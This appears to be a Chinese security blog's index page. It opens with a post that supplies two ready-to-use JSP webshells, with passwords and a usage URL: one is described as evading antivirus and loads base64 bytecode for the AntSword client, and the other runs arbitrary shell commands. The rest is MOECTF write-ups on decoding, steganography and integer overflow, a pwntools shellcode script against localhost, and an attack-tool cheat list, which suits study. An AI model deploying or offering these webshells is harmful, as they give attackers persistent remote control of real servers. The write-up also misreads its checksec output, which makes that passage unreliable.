wubba lubba dub dub.

简述

最近在渗透的时候遇到需要上传jsp一句话的情况,因为目标机器有360,而且比较老旧,很多jsp一句话不是被杀就是跑不了,更有甚者上传了能执行但是连不上蚁剑,后来获取了两个不错的马,记录一下

免杀连接蚁剑jsp

<%!class AFKZ extends ClassLoader{ AFKZ(ClassLoader NGOK){ super(NGOK); }public Class g(byte []b){ return super.defineClass(b,0,b.length); }}%><% String cls=request.getParameter("bypass");if(cls!=null){ new AFKZ(this.getClass().getClassLoader()).g(new sun.misc.BASE64Decoder().decodeBuffer(cls)).newInstance().equals(pageContext); }%>

这款比较适合旧的机子,而且蚁剑能连上
密码:bypass

普通免杀jsp

<%@ page language="java" pageEncoding="UTF-8" %>
<%
    String PASSWORD = "password";
    String passwd = request.getParameter("pwd");
    String cmd = request.getParameter("cmd");
    Class rt = Class.forName("java.lang.Runtime");
    java.lang.reflect.Method gr = rt.getMethod("getRuntime");
    java.lang.reflect.Method ex = rt.getMethod("exec", String.class);
    Process process = (Process) ex.invoke(gr.invoke(null), cmd);
    java.io.InputStream in = process.getInputStream();
    out.print("<pre>");
    java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in);
    java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);
    String s = null;
    while ((s = stdInput.readLine()) != null) {
        out.println(s);
    }
    out.print("</pre>");
%>

这款比较普通,密码:cmd
xxx.jsp?cmd=你想执行的代码


碎碎念
好久没归纳了,感觉要被大家超过了

Read More
post @ 2023-10-22

题目来源:2023MOECTF

题目简述

题目给了一个文本文件,里面都是喵喵喵,内容如下:

喵喵? 喵喵喵喵喵喵喵喵喵喵喵喵 喵喵喵 喵喵喵喵喵喵喵喵?喵喵?喵喵喵喵喵? 喵喵?喵喵喵喵喵? 喵喵喵喵喵? 喵喵喵喵喵?喵喵? 喵喵喵喵喵? 喵喵喵喵喵喵 喵喵喵喵喵喵 喵喵喵喵喵喵喵喵?喵喵?喵喵喵喵喵? 喵喵?喵喵喵喵喵?喵喵喵 喵喵喵喵喵? 喵喵? 喵喵喵喵喵喵喵喵?喵喵?喵喵喵喵喵? 喵喵?喵喵喵喵喵喵喵喵喵 喵喵喵喵喵喵喵喵? 喵喵? 喵喵喵喵喵喵喵喵?喵喵?喵喵喵喵喵? 喵喵?喵喵喵喵喵喵喵喵喵 喵喵喵 喵喵喵喵喵喵喵喵?喵喵?喵喵喵喵喵? 喵喵?喵喵喵喵喵?喵喵喵 喵喵喵喵喵? 喵喵喵喵喵?喵喵喵喵喵喵 喵喵喵喵喵?喵喵喵喵喵喵 喵喵喵 喵喵?喵喵喵喵喵喵 喵喵喵喵喵喵喵喵?喵喵?喵喵喵喵喵? 喵喵?喵喵?喵喵喵 喵喵?喵喵?喵喵? 喵喵喵喵喵喵喵喵? 喵喵?喵喵?喵喵喵喵喵喵 喵喵喵喵喵喵 喵喵喵喵喵喵喵喵?喵喵?喵喵喵喵喵? 喵喵?喵喵喵喵喵喵喵喵喵 喵喵?喵喵喵喵喵?喵喵? 喵喵喵喵喵喵喵喵?喵喵?喵喵喵喵喵? 喵喵喵喵喵?喵喵喵 喵喵?喵喵喵喵喵喵喵喵?

猜想

“喵喵?”出现了很多次,根据题目信息,这是莫斯电码,也就是说明“喵喵?”要么是点要么是横,同时我们猜想,“喵喵?”有三个字,那么三个“喵”在一起组成的“喵喵喵”有没有可能是另一个符号呢?

编写POC

写一个程序,先尝试将“喵喵?”换成横,“喵喵喵“换成点:

# encoding=utf-8
a = "喵喵? 喵喵喵喵喵喵喵喵喵喵喵喵 喵喵喵 喵喵喵喵喵喵喵喵?喵喵?喵喵喵喵喵? 喵喵?喵喵喵喵喵? 喵喵喵喵喵? 喵喵喵喵喵?喵喵? 喵喵喵喵喵? 喵喵喵喵喵喵 喵喵喵喵喵喵 喵喵喵喵喵喵喵喵?喵喵?喵喵喵喵喵? 喵喵?喵喵喵喵喵?喵喵喵 喵喵喵喵喵? 喵喵? 喵喵喵喵喵喵喵喵?喵喵?喵喵喵喵喵? 喵喵?喵喵喵喵喵喵喵喵喵 喵喵喵喵喵喵喵喵? 喵喵? 喵喵喵喵喵喵喵喵?喵喵?喵喵喵喵喵? 喵喵?喵喵喵喵喵喵喵喵喵 喵喵喵 喵喵喵喵喵喵喵喵?喵喵?喵喵喵喵喵? 喵喵?喵喵喵喵喵?喵喵喵 喵喵喵喵喵? 喵喵喵喵喵?喵喵喵喵喵喵 喵喵喵喵喵?喵喵喵喵喵喵 喵喵喵 喵喵?喵喵喵喵喵喵 喵喵喵喵喵喵喵喵?喵喵?喵喵喵喵喵? 喵喵?喵喵?喵喵喵 喵喵?喵喵?喵喵? 喵喵喵喵喵喵喵喵? 喵喵?喵喵?喵喵喵喵喵喵 喵喵喵喵喵喵 喵喵喵喵喵喵喵喵?喵喵?喵喵喵喵喵? 喵喵?喵喵喵喵喵喵喵喵喵 喵喵?喵喵喵喵喵?喵喵? 喵喵喵喵喵喵喵喵?喵喵?喵喵喵喵喵? 喵喵喵喵喵?喵喵喵 喵喵?喵喵喵喵喵喵喵喵?"
b = a.replace("喵喵?","-")
c= b.replace("喵喵喵",".")
print(c)

结果如下:

Read More
post @ 2023-10-18

目录

工具网站
字典
常用工具
sqlmap
dirsearch
githack
wafninja
searchsploit
tplmap
常见备份文件
万能密码
一句话大全
简易图片马
文件上传
文件包含
伪协议

反序列化 魔法函数 perg_match 绕过

反序列化的私有属性要在类名前后加%00,protected在变量名前添加标记\00\00(%00%00),然后urldecode后使用unserialize反序列化,最后使用var_dump输出
preg:
https://blog.csdn.net/weixin_42789937/article/details/128667822
魔法函数以及反序列化:
https://blog.csdn.net/Reme_mber/article/details/124752229
https://blog.csdn.net/solitudi/article/details/113588692
hustler0000.github.io
_wakeup可以通过改变O:后面的数字,使其与真实数量不符即可绕过

工具网站

ctf清单:https://ctf-wiki.org/
在线ai1:https://my.aigcplus.io/home
文心一言:https://yiyan.baidu.com/welcome
在线ai2:https://c.binjie.fun/#/chat/1697008440757
在线工具:https://ctf.bugku.com/tools
在线代码执行:https://code.y444.cn/php
在线md5:https://cmd5.com/
在线反编译pyc:https://tool.lu/pyc/
词频统计:https://quipqiup.com/


字典

https://gitee.com/adminssssss/infiltration-dictionary
https://blog.csdn.net/qq_46634561/article/details/120019738


Read More
post @ 2023-10-09

题目来源:2023MOECTF

题目简述

这是一道音频隐写的题目,解压附件发现是一个音频文件

Audacity and Steghind

丢进处理文件中查看频谱图:

发现有隐藏的信息,使用steghind并且用key:youseeme解压隐藏的文件:

获得flag

解压出一个文本文件“兔兔”,暗示rabbit解密,使用youseeme上面的英文作为密匙,尝试后解出flag:

踩坑总结

1.一开始不知道steghind这个工具,导致做不出来

Read More
post @ 2023-10-08

题目来源:2023MOECTF

题目简述

题目给了一个压缩包,并暗示这不是压缩包,解压发现有ppt字样的文件夹,猜测是ppt文件,将zip后缀改成pptx后成功打开

寻找flag

打开ppt,ctrl+a全选,然后将所有文本框的文本调成红色,发现如下flag字段:



还有一段没找到,于是将ppt解压,在xml文件中查找,最终找到:

获得flag

将flag拼凑,得到flag:moectf{2ip_?_n0_i4_pxx4!}

踩坑总结

1.一开始找了很久最后一段,后来才想到解压开文字查找

Read More
post @ 2023-10-05

题目来源:2023MOECTF

题目简述

“锟斤拷烫烫烫”明显在暗示编码错误,下载附件,发现是一种没见过的编码:
+j9k-+Zi8-+T2A-+doQ-flag+/xo-+AAo-+AAo-a9736d8ad21107398b73324694cbcd11f66e3befe67016def21dcaa9ab143bc4405be596245361f98db6a0047b4be78ede40864eb988d8a4999cdcb31592fd42c7b73df3b492403c9a379a9ff5e81262+AAo-+AAo-+T0Y-+Zi8-flag+dSg-AES+UqA-+W8Y-+ToY-+/ww-key+Zi8-+Tgs-+l2I-+j9k-+iEw-+W1c-+doQ-sha256+/wg-hash+UDw-+doQ-+XwA-+WTQ-+Zi8-b34edc782d68fda34dc23329+/wk-+AAo-+AAo-+YkA-+TuU-+i/Q-+/ww-codepage+dx8-+doQ-+X4g-+kc0-+iYE-+VUo-+/wg-+AAo-

UTF-7解码

经过尝试,知道这是utf-7编码(谁丧心病狂会用这种啊),解码后有这样的信息:
这是你的flag
a9736d8ad21107398b73324694cbcd11f66e3befe67016def21dcaa9ab143bc4405be596245361f98db6a0047b4be78ede40864eb988d8a4999cdcb31592fd42c7b73df3b492403c9a379a9ff5e81262
但是flag用AES加密了,key是下面这行字的sha256(hash值的开头是b34edc782d68fda34dc23329)
所以说,codepage真的很重要啊(
在线转换,得到key为:
b34edc782d68fda34dc2332967273b0f0900a0ebd0dcec48467851bc6117bad1

获得flag

通过aes解密后得到flag:

(注意所有都是hex)

踩坑总结

1.第一次做因为不知道utf-7而卡了很久
2.附上一些不那么常见的编码:

参考:https://blog.csdn.net/q20010619/article/details/120942973

Read More
post @ 2023-10-05

题目来源:2023MOECTF

题目简述

又是一张打不开的图片,但这一次“牛头不对马嘴”,先导入winhex查看:

png文件头

检查发现是png的文件头:

获得flag

修改后将文件后缀改为png,打开获得flag:

是马男波杰克!!!

踩坑总结

1.一开始被jpg的后缀骗了,卡了好久

Read More
post @ 2023-10-03

题目来源:2023MOECTF

题目简述

nc连接后回显题目信息:

要求我们输入一个数,要令这个数没有负号但等于-114514

整形溢出

根据题目信息,可以知道变量n是整形变量,c语言中整形变量的取值范围是-2 147 483 648到 2 147 483 647,当我们输入的数超过最大值时,程序会自动回滚到最小值,比如,当我们输入2 147 483 648时,我们实际上向变量存储了-2 147 483 648这个值(就像跳绳的计数器一样),所以我们要输入-114514,只需要输入更大的数,让其回滚到-114514即可

获得flag

根据上面的思路,输入4 294 852 782即可:

踩坑总结

1.一开始不知道int有范围限制,还能回滚,导致题目做不出来

Read More
post @ 2023-10-03

题目来源:2023MOECTF

题目简述

题目为打不开的图片,下载附件后用winhex打开:

发现是一个图片文件,有exif信息但是无法打开

文件头

上网搜索相关信息,发现一种修改文件头的题型,检查发现图片的文件尾是jpeg图片的文件尾,但文件头经过修改,将文件头修改为jpeg的可以打开图片:


是一张西电的风景图

获取flag

查看文件属性,发现有flag的提示:

猜测是hex格式的flag,进行hex转字符后得到flag:

踩坑总结

1.第一次做做到解密flag的时候卡住了,不知道这是hex码,以后知道了
2.附上关于文件头隐写的知识:
常见文件文件头和隐写术总结 CTF中Misc必备
前言

对常见文件文件头和隐写术做个归纳总结

Read More
post @ 2023-10-02

题目来源:2023MOECTF

题目简述

题目直接说了是shellcode,而且可以脚本一把梭,那就试试看吧

检查安全性

先下载附件,放到kali里面用checksec检查一下:

checksec shellcode_level0 
[*] '/root/pwn/MoeCTF/shellcode0/shellcode_level0'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX disabled
    PIE:      PIE enabled
    RWX:      Has RWX segments

回显显示,没有任何过滤(canary found,NX disabled),可以尝试使用shellcraft构造shellcode

编写POC

一把梭的脚本如下:

from pwn import *
# r = process('./shellcode_level0')
r = remote('127.0.0.1',43039)
context(log_level='debug',arch='amd64',os='linux')
payload = asm(shellcraft.sh())
print(payload)
r.sendline(payload)
r.interactive()
Read More
⬆︎TOP